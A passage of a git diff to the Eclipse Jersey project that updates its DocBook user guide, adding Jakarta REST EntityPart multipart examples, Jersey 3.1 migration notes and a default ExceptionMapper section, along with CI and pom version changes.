+<!ENTITY jersey.server.ServerProperties.WEBSERVER_CLASS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_CLASS'>ServerProperties.WEBSERVER_CLASS</link>" >
<!ENTITY jersey.server.Uri "<link xlink:href='&jersey.javadoc.uri.prefix;/server/Uri.html'>Uri</link>">
<!ENTITY jersey.server.UriConnegFilter "<link xlink:href='&jersey.javadoc.uri.prefix;/server/filter/UriConnegFilter.html'>UriConnegFilter</link>">
<!ENTITY jersey.server.WadlFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlFeature.html'>WadlFeature</link>">
<!ENTITY jersey.server.WadlGenerator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/WadlGenerator.html'>WadlGenerator</link>">
<!ENTITY jersey.server.WadlGeneratorConfig "<link xlink:href='&jersey.javadoc.uri.prefix;/server/wadl/config/WadlGeneratorConfig.html'>WadlGeneratorConfig</link>">
+<!ENTITY jersey.server.WebServerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/server/WebServerFactory.html'>WebServerFactory</link>">
<!ENTITY jersey.server.model.MethodHandler "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/MethodHandler.html'>MethodHandler</link>">
<!ENTITY jersey.server.model.ComponentModelValidator "<link xlink:href='&jersey.javadoc.uri.prefix;/server/model/ComponentModelValidator.html'>ComponentModelValidator</link>">
<!ENTITY jersey.server.monitoring.ApplicationEvent "<link xlink:href='&jersey.javadoc.uri.prefix;/server/monitoring/ApplicationEvent.html'>ApplicationEvent</link>">
@@ -668,6 +693,8 @@
<!ENTITY jersey.server.spi.ContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ContainerProvider.html'>ContainerProvider</link>">
<!ENTITY jersey.server.spi.ExternalRequestScope "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/ExternalRequestScope.html'>ExternalRequestScope</link>">
<!ENTITY jersey.server.spi.RequestScopedInitializer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/RequestScopedInitializer.html'>RequestScopedInitializer</link>">
+<!ENTITY jersey.server.spi.WebServer "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServer.html'>WebServer</link>">
+<!ENTITY jersey.server.spi.WebServerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/server/spi/WebServerProvider.html'>WebServerProvider</link>">
<!ENTITY jersey.servlet.ServletContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletContainer.html'>ServletContainer</link>">
<!ENTITY jersey.servlet.ServletProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html'>ServletProperties</link>">
<!ENTITY jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<link xlink:href='&jersey.javadoc.uri.prefix;/servlet/ServletProperties.html#FILTER_CONTEXT_PATH'>ServletProperties.FILTER_CONTEXT_PATH</link>">
@@ -807,6 +834,8 @@
<!ENTITY lit.jaxrs.QueryParam "<literal>@QueryParam</literal>">
<!ENTITY lit.jaxrs.ReaderInterceptor "<literal>ReaderInterceptor</literal>">
<!ENTITY lit.jaxrs.ReaderInterceptorContext "<literal>ReaderInterceptorContext</literal>">
+<!ENTITY lit.jaxrs.SeBootstrap "<literal>SeBootstrap</literal>">
+<!ENTITY lit.jaxrs.SeBootstrap.Configuration "<literal>SeBootstrap.Configuration</literal>">
<!ENTITY lit.jaxrs.WebApplicationException "<literal>WebApplicationException</literal>">
<!ENTITY lit.jaxrs.WriterInterceptor "<literal>WriterInterceptor</literal>">
<!ENTITY lit.jaxrs.WriterInterceptorContext "<literal>WriterInterceptorContext</literal>">
@@ -840,6 +869,7 @@
<!ENTITY lit.jaxrs.core.Context "<literal>@Context</literal>">
<!ENTITY lit.jaxrs.core.Cookie "<literal>Cookie</literal>">
<!ENTITY lit.jaxrs.core.EntityTag "<literal>EntityTag</literal>">
+<!ENTITY lit.jaxrs.core.EntityPart "<literal>EntityPart</literal>">
<!ENTITY lit.jaxrs.core.Feature "<literal>Feature</literal>">
<!ENTITY lit.jaxrs.core.Form "<literal>Form</literal>">
<!ENTITY lit.jaxrs.core.GenericEntity "<literal>GenericEntity<T></literal>">
@@ -885,6 +915,7 @@
<!ENTITY lit.jdk6.InputStream "<literal>InputStream</literal>">
<!ENTITY lit.jdk6.JAXBElement "<literal>JAXBElement</literal>">
<!ENTITY lit.jdk6.KeyStore "<literal>KeyStore</literal>">
+<!ENTITY lit.jdk6.List "<literal>List</literal>">
<!ENTITY lit.jdk6.Number "<literal>Number</literal>">
<!ENTITY lit.jdk6.ObjectName "<literal>ObjectName</literal>">
<!ENTITY lit.jdk6.ParameterizedType "<literal>ParameterizedType</literal>">
@@ -988,6 +1019,7 @@
<!ENTITY lit.jersey.jetty.JettyHttpContainerFactory "<literal>JettyHttpContainerFactory</literal>">
<!ENTITY lit.jersey.jetty.JettyHttpContainerProvider "<literal>JettyHttpContainerProvider</literal>">
<!ENTITY lit.jersey.jetty.JettyWebContainerFactory "<literal>JettyWebContainerFactory</literal>">
+<!ENTITY lit.jersey.jetty11.Jetty11ConnectorProvider "<literal>Jetty11ConnectorProvider</literal>">
<!ENTITY lit.jersey.linking.DeclarativeLinkingFeature "<literal>DeclarativeLinkingFeature</literal>">
<!ENTITY lit.jersey.logging.LoggingFeature "<literal>LoggingFeature</literal>">
<!ENTITY lit.jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<literal>LoggingFeature.DEFAULT_LOGGER_NAME</literal>">
@@ -1126,6 +1158,8 @@
<!ENTITY lit.jersey.server.oauth1.TokenResource "<literal>TokenResource</literal>">
<!ENTITY lit.jersey.server.spi.ComponentProvider "<literal>ComponentProvider</literal>">
<!ENTITY lit.jersey.server.spi.ContainerProvider "<literal>ContainerProvider</literal>">
+<!ENTITY lit.jersey.server.spi.WebServer "<literal>WebServer</literal>">
+<!ENTITY lit.jersey.server.spi.WebServerProvider "<literal>WebServerProvider</literal>">
<!ENTITY lit.jersey.servlet.ServletContainer "<literal>ServletContainer</literal>">
<!ENTITY lit.jersey.servlet.ServletProperties "<literal>ServletProperties</literal>">
<!ENTITY lit.jersey.servlet.ServletProperties.FILTER_CONTEXT_PATH "<literal>ServletProperties.FILTER_CONTEXT_PATH</literal>">
diff --git a/docs/src/main/docbook/media.xml b/docs/src/main/docbook/media.xml
index 6849118..288b923 100644
--- a/docs/src/main/docbook/media.xml
+++ b/docs/src/main/docbook/media.xml
@@ -23,6 +23,10 @@
<!ENTITY link.jackson "<link linkend='json.jackson'>Jackson</link>" >
<!ENTITY link.jettison "<link linkend='json.jettison'>Jettison</link>" >
<!ENTITY link.json-b "<link linkend='json.json-b'>Java API for JSON Binding (JSON-B)</link>" >
+ <!ENTITY link.multipart.client.jersey "<link linkend='multipart.client.jersey'>Client using Jersey API</link>" >
+ <!ENTITY link.multipart.client.rest "<link linkend='multipart.client.rest'>Client using Jakarta REST API</link>" >
+ <!ENTITY link.multipart.server.jersey "<link linkend='multipart.server.jersey'>Server using Jersey API</link>" >
+ <!ENTITY link.multipart.server.rest "<link linkend='multipart.server.rest'>Server using Jakarta REST API</link>" >
<!ENTITY % ents SYSTEM "jersey.ent" > %ents;
]>
@@ -1566,25 +1570,11 @@
<title>Registration</title>
<para>
- Before you can use capabilities of the &lit.jersey-media-multipart; module in your client/server code, you
- need to register &jersey.media.multipart.MultiPartFeature;.
+ Prior to Jersey 3.1.0, before you can use the capabilities of the &lit.jersey-media-multipart;
+ module in your client/server code, you need to register &jersey.media.multipart.MultiPartFeature;.
- <example>
- <title>Building client with MultiPart feature enabled.</title>
-
- <programlisting language="java">final Client client = ClientBuilder.newBuilder()
- .register(MultiPartFeature.class)
- .build();</programlisting>
- </example>
-
- <example>
- <title>Creating JAX-RS application with MultiPart feature enabled.</title>
-
- <programlisting language="java">// Create JAX-RS application.
-final Application application = new ResourceConfig()
- .packages("org.glassfish.jersey.examples.multipart")
- .register(MultiPartFeature.class)</programlisting>
- </example>
+ The multipart feature is supported by Jakarta RESTful Web Services 3.1 multipart API. From Jersey 3.1.0 on,
+ the &jersey.media.multipart.MultiPartFeature; is no longer required to be registered and it is registered automatically.
</para>
</section>
@@ -1599,20 +1589,30 @@
<section>
<title>Client</title>
+ <itemizedlist>
+ <listitem>
+ <para>&link.multipart.client.jersey;</para>
+ </listitem>
+ <listitem>
+ <para>&link.multipart.client.rest;</para>
+ </listitem>
+ </itemizedlist>
+ <section xml:id="multipart.client.jersey">
+ <title>Client using Jersey API</title>
- <para>
- &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use
- &lit.jersey-media-multipart; module on the client side. This class represents a
- <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able
- to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is
- <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link>
- for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for
- &lit.jersey.media.multipart.BodyPart;.
+ <para>
+ &jersey.media.multipart.MultiPart; class (or it's subclasses) can be used as an entry point to use
+ &lit.jersey-media-multipart; module on the client side. This class represents a
+ <link xlink:href='&wikipedia.uri;MIME#Multipart_messages'>MIME multipart message</link> and is able
+ to hold an arbitrary number of &jersey.media.multipart.BodyPart;s. Default media type is
+ <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/mixed</link>
+ for &lit.jersey.media.multipart.MultiPart; entity and <literal>text/plain</literal> for
+ &lit.jersey.media.multipart.BodyPart;.
- <example>
- <title>&lit.jersey.media.multipart.MultiPart; entity</title>
+ <example>
+ <title>&lit.jersey.media.multipart.MultiPart; entity</title>
- <programlisting language="java">final MultiPart multiPartEntity = new MultiPart()
+ <programlisting language="java">final MultiPart multiPartEntity = new MultiPart()
.bodyPart(new BodyPart().entity("hello"))
.bodyPart(new BodyPart(new JaxbBean("xml"), MediaType.APPLICATION_XML_TYPE))
.bodyPart(new BodyPart(new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE));
@@ -1621,15 +1621,15 @@
final Response response = target
.request()
.post(Entity.entity(multiPartEntity, multiPartEntity.getMediaType()));</programlisting>
- </example>
+ </example>
- If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal>
- header in HTTP message would look like (don't forget to register a JSON provider):
+ If you send a <literal>multiPartEntity</literal> to the server the entity with <literal>Content-Type</literal>
+ header in HTTP message would look like:
- <example>
- <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title>
+ <example>
+ <title>&lit.jersey.media.multipart.MultiPart; entity in HTTP message.</title>
- <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis>
+ <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/mixed; boundary=Boundary_1_829077776_1369128119878</emphasis>
--Boundary_1_829077776_1369128119878
Content-Type: text/plain
@@ -1644,34 +1644,34 @@
{"value":"json"}
--Boundary_1_829077776_1369128119878--</screen>
- </example>
- </para>
- <para>
- When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them,
- there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets
- the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to
- <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to
- &lit.jersey.media.multipart.FormDataBodyPart; body parts.
+ </example>
+ </para>
+ <para>
+ When working with forms (e.g. media type <literal>multipart/form-data</literal>) and various fields in them,
+ there is a more convenient class to be used - &jersey.media.multipart.FormDataMultiPart;. It automatically sets
+ the media type for the &lit.jersey.media.multipart.FormDataMultiPart; entity to
+ <literal>multipart/form-data</literal> and <literal>Content-Disposition</literal> header to
+ &lit.jersey.media.multipart.FormDataBodyPart; body parts.
- <example>
- <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title>
- <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart()
+ <example>
+ <title>&lit.jersey.media.multipart.FormDataMultiPart; entity</title>
+ <programlisting language="java">final FormDataMultiPart multipart = new FormDataMultiPart()
.field("hello", "hello")
.field("xml", new JaxbBean("xml"))
.field("json", new JaxbBean("json"), MediaType.APPLICATION_JSON_TYPE);
final WebTarget target = // Create WebTarget.
final Response response = target.request().post(Entity.entity(multipart, multipart.getMediaType()));</programlisting>
- </example>
+ </example>
- To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of
- &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the
- &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message:
+ To illustrate the difference when using &lit.jersey.media.multipart.FormDataMultiPart; instead of
+ &lit.jersey.media.multipart.FormDataBodyPart; you can take a look at the
+ &lit.jersey.media.multipart.FormDataMultiPart; entity from HTML message:
- <example>
- <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title>
+ <example>
+ <title>&lit.jersey.media.multipart.FormDataMultiPart; entity in HTTP message.</title>
- <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis>
+ <screen language="text" linenumbering="unnumbered"><emphasis>Content-Type: multipart/form-data; boundary=Boundary_1_511262261_1369143433608</emphasis>
--Boundary_1_511262261_1369143433608
Content-Type: text/plain
@@ -1689,17 +1689,17 @@
{"value":"json"}
--Boundary_1_511262261_1369143433608--</screen>
- </example>
- </para>
- <para>
- A common use-case for many users is sending files from client to server. For this purpose you can use classes from
- <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as
- &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;.
+ </example>
+ </para>
+ <para>
+ A common use-case for many users is sending files from client to server. For this purpose you can use classes from
+ <literal>org.glassfish.jersey.jersey.media.multipart</literal> package, such as
+ &jersey.media.multipart.FileDataBodyPart; or &jersey.media.multipart.StreamDataBodyPart;.
- <example>
- <title>Multipart - sending files.</title>
+ <example>
+ <title>Multipart - sending files.</title>
- <programlisting language="java">// MediaType of the body part will be derived from the file.
+ <programlisting language="java">// MediaType of the body part will be derived from the file.
final FileDataBodyPart filePart = new FileDataBodyPart("my_pom", new File("pom.xml"));
final FormDataMultiPart multipart = new FormDataMultiPart()
@@ -1709,19 +1709,76 @@
final WebTarget target = // Create WebTarget.
final Response response = target.request()
.post(Entity.entity(multipart, multipart.getMediaType()));</programlisting>
- </example>
- </para>
- <warning>
- <para>
- Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider;
- neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart
- features. See <xref linkend="connectors.warning"/> warning for more details.
+ </example>
</para>
- </warning>
+ <warning>
+ <para>
+ Do not use &lit.jersey.apache.ApacheConnectorProvider; nor &lit.jersey.grizzly.GrizzlyConnectorProvider;
+ neither &lit.jersey.jetty.JettyConnectorProvider; connector implementations with Jersey Multipart
+ features. See <xref linkend="connectors.warning"/> warning for more details.
+ </para>
+ </warning>
+ </section>
+
+ <section xml:id="multipart.client.rest">
+ <title>Client using Jakarta REST API</title>
+
+ <para>
+ &jaxrs.core.EntityPart; interface can be used as an entry point to use
+ &lit.jersey-media-multipart; module on the client side. This class represents multipart message is able
+ to hold an arbitrary number of &jaxrs.core.EntityPart;s. Default media type is
+ <link xlink:href='&wikipedia.uri;MIME#Mixed'>multipart/form-data</link>.
+
+ <example>
+ <title>Using <literal>EntityPart.Builder</literal> for building an Entity</title>
+
+ <programlisting language="java">
+final List<EntityPart> multiPartEntity = new List<>();
+list.add(EntityPart.withName("part-01").content("hello").build());
+list.add(EntityPart.withName("part-01").content(new JaxbBean("xml")).mediaType(MediaType.APPLICATION_XML_TYPE).build()); //same name
+list.add(EntityPart.withName("part-02").content(new JaxbBean("json")).mediaType(MediaType.APPLICATION_JSON_TYPE).build()); //other name
+final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+final WebTarget target = // Create WebTarget.
+final Response response = target.request().post(entity);
+ </programlisting>
+ </example>
+ </para>
+ <para>
+ The common use-case for many users is sending files from client to server. It is also covered by
+ &jaxrs.core.EntityPart;.Builder.
+ <example>
+ <title>EntityPart - sending files.</title>
+
+ <programlisting language="java">// MediaType of the body part will be derived from the file.
+final List<EntityPart> multiPartEntity = new List<>();
+list.add(EntityPart.withFileName("file001.txt").content(new FileInputStream("file001.txt")).build());
+list.add(EntityPart.withFileName("mypom.xml").content(new FileInputStream("pom.xml")).build());
+
+final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+final Entity entity = Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE);
+
+final WebTarget target = // Create WebTarget.
+final Response response = target.request().post(entity);
+ </programlisting>
+ </example>
+ </para>
+ </section>
</section>
<section>
<title>Server</title>
+ <itemizedlist>
+ <listitem>
+ <para>&link.multipart.server.jersey;</para>
+ </listitem>
+ <listitem>
+ <para>&link.multipart.server.rest;</para>
+ </listitem>
+ </itemizedlist>
+ <section xml:id="multipart.server.jersey">
+ <title>Jersey Server API</title>
<para>
Returning a multipart response from server to client is not much different from the parts described in the client
@@ -1878,5 +1935,60 @@
</tip>
</section>
</section>
+ <section xml:id="multipart.server.rest">
+ <title>Server using Jakarta REST API</title>
+ <para>
+ Using &jaxrs.core.EntityPart; on the server side is similar to the client side.
+ Jakarta REST specification allows for
+ returning a &lit.jaxrs.core.Response; or a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s.
+ </para>
+ <para>
+ Receiving the &jaxrs.core.EntityPart;s can be done either using &lit.jaxrs.FormParam; annotations and
+ &lit.jaxrs.core.EntityPart;, &lit.jdk6.InputStream; or &lit.jdk6.String; data-types, or using a
+ &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s.
+ </para>
+
+ <example>
+ <title>Use of &lit.jaxrs.FormParam; annotation with &lit.jaxrs.core.EntityPart; &lit.jdk6.InputStream;
+ and &lit.jdk6.String; types and returning a &lit.jaxrs.core.Response;</title>
+ <programlisting language="java">@POST
+@Path("/postFormVarious")
+public Response postFormVarious(@FormParam("name1") EntityPart part1,
+ @FormParam("name2") InputStream part2,
+ @FormParam("name3") String part3) throws IOException {
+ final List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName(part1.getName())
+ .content(part1.getContent(String.class) + new String(part2.readAllBytes()) + part3)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build());
+ final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+}
+ </programlisting>
+ </example>
+ <example>
+ <title>Receiving a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title>
+ <programlisting language="java">@POST
+@Path("/postListForm")
+public String postEntityPartForm(@FormParam("part-0x") List<EntityPart> part) throws IOException {
+ final String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class);
+ return entity;
+}
+ </programlisting>
+ </example>
+ <example>
+ <title>Returning a &lit.jdk6.List; of &lit.jaxrs.core.EntityPart;s</title>
+ <programlisting language="java">@GET
+@Produces(MediaType.MULTIPART_FORM_DATA)
+@Path("/getList")
+public List<EntityPart> getList() throws IOException {
+ final List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("name1").content("data1").build());
+ return list;
+}
+ </programlisting>
+ </example>
+ </section>
+ </section>
</section>
</chapter>
diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml
index d9adba0..03f7b61 100644
--- a/docs/src/main/docbook/migration.xml
+++ b/docs/src/main/docbook/migration.xml
@@ -28,18 +28,6 @@
xml:id="migration">
<title>Migration Guide</title>
- <section xml:id="mig-3.0.11">
- <title>Migrating from Jersey 3.0.11 to 3.0.12</title>
- <section xml:id="mig-3.0.11-jackson-changes">
- <title>Changes in Jackson</title>
- <para>
- Jersey 3.0.12 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
- numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
- length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
- </para>
- </section>
- </section>
-
<section xml:id="mig-3.0.0">
<title>Migrating from Jersey 2.32+ to 3.0.x.</title>
<section xml:id="mig-3.0.0-breaking-changes">
@@ -48,25 +36,28 @@
<itemizedlist>
<listitem>
<para>
- The most fundamental change in Jersey &version; and later is namespace change.
+ The most fundamental change in Jersey 3.0.0 and later is namespace change.
Since Jakarta EE 9 the <literal>jakarta.</literal> namespace is introduced as a replacement
for javax namespace from Java EE.
</para>
+ </listitem>
+ <listitem>
<para>
- Due to required jakartification several modules where omitted (because of not satisfied dependencies).
- Or require higher JDK (11+).
+ Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
</para>
- <para>
- Spring for now is not supported.
- </para>
- <para>
- Helidon connector for now is not supported.
- </para>
+ </listitem>
+ <listitem>
<para>
Examples and tests are reduced in quantity (so you probably will not find all those examples which were available
in the 2.32 version).
</para>
</listitem>
+ <listitem>
+ <para>
+ &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
+ <literal>true</literal>.
+ </para>
+ </listitem>
</itemizedlist>
</para>
</section>
@@ -107,16 +98,57 @@
Jakarta EE 10. Jakarta EE 10 defines the minimum JDK 11 requirement and hence Jersey no longer
supports JDK 8.
</para>
+ <para>
+ Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
+ </para>
</listitem>
<listitem>
<para>
- &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
- <literal>true</literal>.
+ Since Jersey 3.1.0+ the <literal>getRequestHeader(String name)</literal> method of the
+ <literal>ClientRequest</literal> class returns NULL (instead of an empty List) in case if
+ the specified header does not exist.
</para>
</listitem>
</itemizedlist>
</para>
</section>
+ <section xml:id="mig-3.1.0-application-path">
+ <title>@ApplicationPath Annotation Support</title>
+ <para>
+ Jersey 3.1 supports <literal>@ApplicationPath</literal> annotation by every container, not only the
+ <literal>Servlet</literal> container. This can affect tests, as well as deployments to containers
+ where the annotation used to be ignored by previous versions of Jersey.
+ </para>
+ </section>
+ <section xml:id="mig-3.1.4-jetty-modules">
+ <title>Jetty Modules</title>
+ <itemizedlist>
+ <listitem>
+ <para>
+ Jersey 3.0.x, and 3.1.0 - 3.1.3 Jetty modules (jersey-jetty-connector, jersey-container-jetty-http,
+ jersey-container-jetty-servlet, jersey-test-framework-provider-jetty) are based on Jetty 11,
+ which is Jakarta EE 9 related.
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Jersey 3.1.4 modules use Jetty 12 which is Jakarta EE 10 related (as well as Jersey 3.1.x).
+ Jetty 12 dependencies use modules names different from Jetty 11.
+ </para>
+ </listitem>
+ </itemizedlist>
+ </section>
+ <section xml:id="mig-3.1.4">
+ <title>Migrating from Jersey 3.1.3 to 3.1.4</title>
+ <section xml:id="mig-3.1.4-jackson-changes">
+ <title>Changes in Jackson</title>
+ <para>
+ Jersey 3.1.4 starts to support Jackson 2.15 which comes with default limitations for the length of parsed text,
+ numbers, and nesting depth. Jersey keeps the Jackson default value, but it allows to override the maximum
+ length of parsed text using the &jersey.message.MessageProperties.JSON_MAX_STRING_LENGTH; property if needed.
+ </para>
+ </section>
+ </section>
</section>
</chapter>
diff --git a/docs/src/main/docbook/modules.xml b/docs/src/main/docbook/modules.xml
index 5981ced..fb54949 100644
--- a/docs/src/main/docbook/modules.xml
+++ b/docs/src/main/docbook/modules.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -112,16 +112,9 @@
jersey-container-jetty-http
</link>
</entry>
-<entry>Jetty Http Container (for JDK 11+)</entry>
+<entry>Jetty Http Container (for JDK 17+)</entry>
</row>
-<row>
-<entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-http2/dependencies.html">
- jersey-container-jetty-http2
-</link>
-</entry>
-<entry>Jetty HTTP/2 Container</entry>
-</row>
+ <!-- TODO - HTTP/2 support for Jetty 12 container -->
<row>
<entry>
<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-container-jetty-servlet/dependencies.html">
@@ -230,17 +223,18 @@
jersey-jetty-connector
</link>
</entry>
-<entry>Jersey Client Transport via Jetty (for JDK 11+)</entry>
+<entry>Jersey Client Transport via Jetty (for JDK 17+)</entry>
</row>
<row>
- <row>
- <entry>
- <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty-http2-connector/dependencies.html">
- jersey-jetty-http2-connector
- </link>
- </entry>
- <entry>Jersey Client Transport via Jetty (for JDK 11+) with HTTP/2 support</entry>
- </row>
+<entry>
+<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty11-connector/dependencies.html">
+ jersey-jetty11-connector
+</link>
+</entry>
+<entry>Jersey Client Transport via Jetty 11.x</entry>
+</row>
+ <!-- TODO - HTTP/2 support for Jetty 12 container -->
+<row>
<entry>
<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-netty-connector/dependencies.html">
jersey-netty-connector
diff --git a/docs/src/main/docbook/representations.xml b/docs/src/main/docbook/representations.xml
index 50515d6..12ef126 100644
--- a/docs/src/main/docbook/representations.xml
+++ b/docs/src/main/docbook/representations.xml
@@ -298,6 +298,19 @@
and let other provider to be chosen for the exception mapping.
</para>
+ <para>
+ Since Jersey 3.1.0 the default <literal>ExceptionMapper</literal> is implemented.
+ It is required by JAX-RS 3.1 specification (&jaxrs31.exceptionMapperProvider;).
+ The default behaviour of the mapper is to return a message from an exception caught and set the response status
+ to 500 (internal server error). In case of a &jaxrs.WebApplicationException; with a response that response is returned.
+ If response inside the &lit.jaxrs.WebApplicationException; is NULL the exception is being processed according to the
+ default behaviour.
+
+ The Default exception mapper is package private and can not be referenced. Its presence is required only by
+ JAX-RS 3.1 specification. Processing of the default Exception Mapper occurs at the very end of the exception
+ processing chain. It is invoked only if nothing else in the chain was invoked before.
+ </para>
+
</section>
<section>
diff --git a/etc/config/copyright-exclude b/etc/config/copyright-exclude
index cc34e1e..de5bfc6 100644
--- a/etc/config/copyright-exclude
+++ b/etc/config/copyright-exclude
@@ -73,8 +73,6 @@
/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/explorer
/core-server/src/main/java/com/sun/research/ws/wadl
/core-common/src/main/java/org/glassfish/jersey/internal/jsr166
-/core-common/src/main/jsr166/org/glassfish/jersey/internal/jsr166
-/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166
/tests/performance/etc/data/MEASUREMENT_DATA
/core-common/src/main/java/org/glassfish/jersey/internal/guava/
/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/core/AbstractSlidingWindowTimeReservoir.java
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index d933c21..8f74bad 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -8,22 +8,6 @@
stages {
stage('Jersey build') {
parallel {
- stage('JDK 8') {
- agent {
- label 'centos-7'
- }
- tools {
- jdk 'oracle-jdk8-latest'
- maven 'apache-maven-latest'
- }
- steps {
- sh '''
- bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
- export EXCLUDE_ARGS=' -pl !:jersey-spring6'
- bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
- '''
- }
- }
stage('JDK 11') {
agent {
label 'centos-7'
diff --git a/etc/jenkins/jenkins_build.sh b/etc/jenkins/jenkins_build.sh
index 4e96c4e..9983a05 100644
--- a/etc/jenkins/jenkins_build.sh
+++ b/etc/jenkins/jenkins_build.sh
@@ -2,5 +2,4 @@
export DEBUG=true
-mvn -V -U -B -e -Pstaging clean install glassfish-copyright:check -Dcopyright.quiet=false
-
+mvn -V -U -B -e -Pstaging clean install glassfish-copyright:check -Dcopyright.quiet=false
\ No newline at end of file
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index e982511..35042f1 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -43,7 +43,7 @@
* Copyright: 2009, Red Hat, Inc. and/or its affiliates, and individual contributors
* by the @authors tag.
-Hibernate Validator CDI, 7.0.5.Final
+Hibernate Validator CDI, 8.0.1.Final
* License: Apache License, 2.0
* Project: https://beanvalidation.org/
* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/examples/assemblies/pom.xml b/examples/assemblies/pom.xml
index 1c54fae..65fcba6 100644
--- a/examples/assemblies/pom.xml
+++ b/examples/assemblies/pom.xml
@@ -17,7 +17,7 @@
<parent>
<groupId>org.glassfish.jersey.examples</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>assemblies</artifactId>
diff --git a/examples/bookmark-em/pom.xml b/examples/bookmark-em/pom.xml
index 3663370..313f013 100644
--- a/examples/bookmark-em/pom.xml
+++ b/examples/bookmark-em/pom.xml
@@ -19,7 +19,7 @@
